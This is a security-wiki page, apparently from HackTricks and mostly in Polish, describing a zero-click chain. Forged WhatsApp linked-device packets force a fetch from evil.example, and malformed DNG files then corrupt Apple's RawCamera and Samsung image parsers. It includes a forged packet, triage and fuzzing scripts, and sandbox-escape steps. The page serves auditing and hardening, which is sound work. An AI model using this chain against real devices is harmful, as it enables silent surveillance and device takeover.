Zero-click Messaging → Image Parser Chains

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

TL;DR

  • Traktuj messaging app multi-device/companion protocols jako kanały zdalnego sterowania: jeśli pola protokołu są uznawane za pochodzące z zaufanych urządzeń, mogą wciąż być kontrolowane przez użytkownika i często dają się odtworzyć bezpośrednio przeciwko ofierze, aby załadować dowolną zawartość przy 0 interakcji użytkownika.
  • Gdy tylko uda się zmusić aplikację do pobrania nieufnego media, celem powinna być wspólna ścieżka multimediów OS (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) z użyciem zniekształconych plików, by wypiąć się ze sandboxu.
  • Błędy parserów DNG w RawCamera i parsera Samsung opisane tutaj są konkretnymi przykładami, ale cała technika to powtarzalny schemat łączenia logic flaws → image parser memory corruption → full device compromise.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

Architektura “linked devices” WhatsApp utrzymuje główny telefon i każde urządzenie towarzyszące (desktop, tablet, drugi telefon) w synchronizacji za pomocą zaszyfrowanych, ustrukturyzowanych wiadomości protokołu. Każda wiadomość koduje:

  • Metadane urządzenia (device ID, capabilities, feature flags).
  • Deskryptory akcji (np. sync chats, fetch thumbnails, render remote content).
  • Dowolne parametry takie jak URI, MIME hints, klucze paginacji itd.

Na klientach Apple handler, który przetwarza te pakiety kontroli linked-device, implicitnie ufał, że prawidłowe parowanie już nastąpiło, więc pola o wysokim wpływie (np. resource_url, open_media, sync_snapshot) były jedynie minimalnie walidowane. Złośliwa wiadomość od urządzenia towarzyszącego mogła zatem:

  1. Być skierowana do dowolnego konta zidentyfikowanego numerem telefonu.
  2. Przejść przez stos transportowy (Noise protocol + WhatsApp protobuf framing), ponieważ odbiorca nigdy nie weryfikował, że nadawca był faktycznie sparowanym urządzeniem.
  3. Dotrzeć do klienta iOS, gdzie podatna ścieżka kodu automatycznie wyzwalała tło zapytanie HTTP(S) do URL atakującego i parsowała odpowiedź w ukrytym WebView/media renderer.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Podłącz debugger lub skrypt Frida do desktop/iOS klienta i zahakuj post-decryption handler (np. LinkedDevicesSyncHandler::processAction). Zrzucaj zdekompresowane payloady protobuf, by poznać dostępne typy akcji i parametry.
  2. Identify fields that cross trust boundaries. Każda akcja zawierająca parametry http_url, thumbnail_uri, download_url lub render_html bez ścisłych allow-list jest kandydatem na primitive do zdalnego ładowania treści.
  3. Forge a malicious action. Ponownie użyj zaobserwowanego schematu protobuf i zmodyfikuj tylko pola kontrolowane przez atakującego. Poniżej pokazano uproszczony widok JSON odpowiadającej struktury logicznej (faktyczny transport to protobuf/Noise, ale pola semantyczne się pokrywają):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Dostarcz ofierze. Odtwórz spreparowany pakiet przez ten sam serwis WhatsApp, który normalnie przekazuje ruch z urządzeń powiązanych (np. przy użyciu zmodyfikowanego desktop clienta lub niestandardowego klienta Noise ponownie używającego kluczy konta atakującego). Ponieważ CVE-2025-55177 nie powiązało działań z uwierzytelnionymi urządzeniami, klient ofiary na iOS/macOS przyjmie wiadomość i natychmiast pobierze URL atakującego bez żadnego UI.
  2. Instrumentuj pobranie. Obserwuj wymuszone żądanie HTTP(S) i wewnętrzny renderer (WKWebView/ImageIO). W tym momencie masz zero-click web delivery primitive w WhatsApp.

Wykorzystanie automatycznie dekodowanych DNG przeciw RawCamera

Po tym, jak atakujący kontroluje, co WhatsApp ładuje, kolejnym celem jest sprawienie, by iOS/macOS sparsował złośliwy plik Digital Negative (DNG) przy użyciu frameworka RawCamera. Każdy osadzony <img>/CSS URL, który rozwiąże się do .dng, zostanie przekazany do systemowego pipeline’u obrazów, wywołując RawCamera nawet jeśli sam WhatsApp nigdy nie obsługiwał DNG jawnie.

Wywoływanie RawCamera z WhatsApp

  • Serwuj HTML, który odwołuje się do DNG za pomocą wielu mechanizmów (np. <img src="evil.dng">, CSS background-image: url('evil.dng'), lub źródeł <picture>), aby pokryć różne ścieżki renderowania.
  • Zapewnij poprawny MIME (image/x-adobe-dng) i małe podglądy, tak aby loader nie przerwał wcześniej z powodu heurystyk rozmiaru.
  • iOS media sandbox będzie strumieniować plik do RawCamera przez CGImageSourceCreateWithURL, ostatecznie trafiając do podatnego dekodera.

Tworzenie DNG powodujących korupcję pamięci (w stylu CVE-2025-43300)

Błąd z 2025 roku występujący w naturze był bardziej specyficzny niż ogólnie sfałszowany TIFF: DNG zawierał JPEG-Lossless dane obrazowe, których wewnętrzna liczba komponentów SOF3 nie zgadzała się z metadanymi TIFF/DNG (SamplesPerPixel). W praktyce RawCamera mógł dobrać rozmiary niektórych buforów na podstawie zewnętrznych pól TIFF, a później ufać osadzonemu strumieniowi JPEG-Lossless podczas dekodowania, co prowadziło do zapisu poza granicami pamięci naprawionego w iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.

That gives auditors a much tighter triage rule than “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Jeśli SamplesPerPixel i liczba komponentów w SOF3 będą się różnić, jesteś bardzo blisko dokładnego prymitywu opisanego publicznie dla CVE-2025-43300. Typowe, sąsiednie dźwignie, które warto nadal fuzzować po uzyskaniu ścieżki parsowania, to:

  • Tile/strip descriptors: Ustaw TileByteCounts/StripByteCounts na realistyczne wartości, ale zwiększ TileOffsets, aby wskazywały poza przydzielony bufor.
  • Sub-IFD chains: Osadź obrazy pomocnicze z konfliktującymi ImageWidth/ImageLength i BitsPerSample, tak aby RawCamera obliczał mały bufor, podczas gdy późniejsze etapy polegają na wymiarach kontrolowanych przez atakującego.
  • Opcode metadata: Manipuluj wpisami OpcodeList3, aby przetwarzanie na wiersz działało na indeksach wybranych przez atakującego.

Podstawowe środowisko mutacyjne do poszukiwania takich uszkodzeń można zbudować w oparciu o macOS, ponieważ ten sam kod RawCamera jest dostarczany w macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Każdy crash w RawCamera daje nowy prymityw. Opublikowany PoC osiągnął niezawodny odczyt/zapis poza zakresem wystarczający, by powodować awarię WhatsApp na iPhone, iPad i Mac.

Building the 0-click chain

  1. Linked-device packet → przymusza WhatsApp do pobrania https://evil.example/payload.html bez żadnych stuknięć.
  2. Payload HTML → cicho odwołuje się do evil.dng, gwarantując, że RawCamera zostanie wywołany przez media stack systemu.
  3. Malicious DNG → nadużywa spreparowanych tagów, aby wywołać RawCamera OOB i zawiesić/przejąć dekoder obrazów.
  4. Post-corruption exploitation → dodaj info-leak gadgets (np. wykorzystując przewidywalne heap metadata) i przygotuj łańcuch ROP/JOP, aby wydostać się z WhatsApp sandbox i uzyskać dostęp do bardziej uprzywilejowanych kontekstów.

Ponieważ każdy krok jest automatyczny, atakującemu wystarczy tylko numer telefonu ofiary. Na docelowym urządzeniu nie pojawiają się żadne powiadomienia, banery ani monity.

Recent Apple parser-chain patterns worth reusing

Ten łańcuch WhatsApp → DNG → RawCamera wpisuje się w ten sam wzorzec projektowy obserwowany w ostatnich kampaniach Apple zero-click: znajdź alternatywny wrapper załącznika, który dociera do mniej ograniczonego parsera, a następnie uzbrój format pliku, który OS chętnie podgląda.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab zgłosił złośliwe załączniki PassKit zawierające obrazy, a Apple załatało Wallet (CVE-2023-41061) oraz ImageIO (CVE-2023-41064). Późniejsza analiza Project Zero pokazała, dlaczego to ma znaczenie operacyjne: atakujący nie potrzebował jedynie błędu parsera, lecz także kontenera, który przenosił parsowanie obrazów poza normalną ścieżkę BlastDoor do innego procesu. Podczas audytu aplikacji wiadomości należy wymienić każdy typ załącznika, który wyzwala tła podglądy w pomocniczych demonach (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), a nie tylko oczywiste załączniki obrazów.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky wykazał, że złośliwy załącznik iMessage trafił w niedokumentowaną, specyficzną dla Apple instrukcję ADJUST w TrueType (CVE-2023-41990). Praktyczna lekcja jest taka, że fonts are image-parser cousins dla pracy zero-click: podglądy rich-text, font fallback i generowanie miniatur mogą stać się punktami wejścia dla parsera, nawet gdy aplikacja twierdzi, że obsługuje tylko “dokumenty” lub “stickery”.

Powtarzające się pytanie audytowe brzmi zatem: które typy wiadomości powodują ciche parsowanie w procesie innym niż oczywisty renderer czatu? Zazwyczaj właśnie tam zaczyna się łańcuch. Do triage przykładowych plików i sprawdzeń spójności między polami, gdy masz podejrzany plik, użyj ponownie this generic structural file-format detection page.

Samsung vendor image parser parallels

Biuletyn Samsunga dotyczący CVE-2025-21043 potwierdził, że ich własny stos parsowania obrazów (używany przez Gallery, Messages i także pośrednio przez WhatsApp) cierpiał na out-of-bounds write dostępny przez nieufne media. Metodologia eksploatacji odzwierciedla łańcuch Apple:

  • Zidentyfikuj wektor auto-preview (miniatury czatu, podglądy powiadomień, share sheets), który parsuje plik atakującego przy użyciu bibliotek Samsunga libimagecodec/libOneUI_ImageDecoder.
  • Porównuj aktualizacje bibliotek OEM lub fuzzuj parsery z uszkodzonymi plikami RAW/DNG, aż zobaczysz korupcje pamięci podobne do crasha RawCamera (nadpisanie heap metadata, kontrola rejestrów itp.).
  • Dostarcz spreparowany plik przez dowolny kanał, który już automatycznie ładuje zawartość (np. ten sam linked-device primitive, WhatsApp preview fetchers lub Androidowe podglądy waveform dla push-to-talk).

Gdy w parserze dostawcy istnieje zapis OOB, połączenie go z WhatsApp auto-fetch primitive daje kolejny zero-click chain na urządzeniach Samsunga.

Testing & hardening checklist

  • Protocol validation: Wprowadź rygorystyczne allow-lists dla każdej akcji linked-device. Komendy towarzyszące, które żądają fetch/render, muszą potwierdzać sparowanie urządzeń (podpisując payload), a URL powinien pasować do listy dozwolonych lub być podpisanym blobem.
  • Transport replay countermeasures: Powiąż każdą akcję z kluczem przypisanym do urządzenia i odrzucaj pakiety, których klucz nadawcy jest nieznany, nawet jeśli składnia protobuf jest poprawna.
  • Media pipeline restrictions: Aplikacje wysokiego poziomu powinny zezwalać tylko na zatwierdzone MIME types i explicite odrzucać RAW/DNG, chyba że funkcja jest wymagana.
  • Parser fuzzing regression tests: Utrzymuj korpus uszkodzonych plików RAW/DNG i uruchamiaj je przeciwko RawCamera/vendor decoders po każdej aktualizacji.
  • Crash triage automation: Dołącz sanitizery przez DYLD_INSERT_LIBRARIES lub MTE na urządzeniach fuzzingowych, aby wykryć subtelne warunki OOB zanim zrobią to atakujący.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks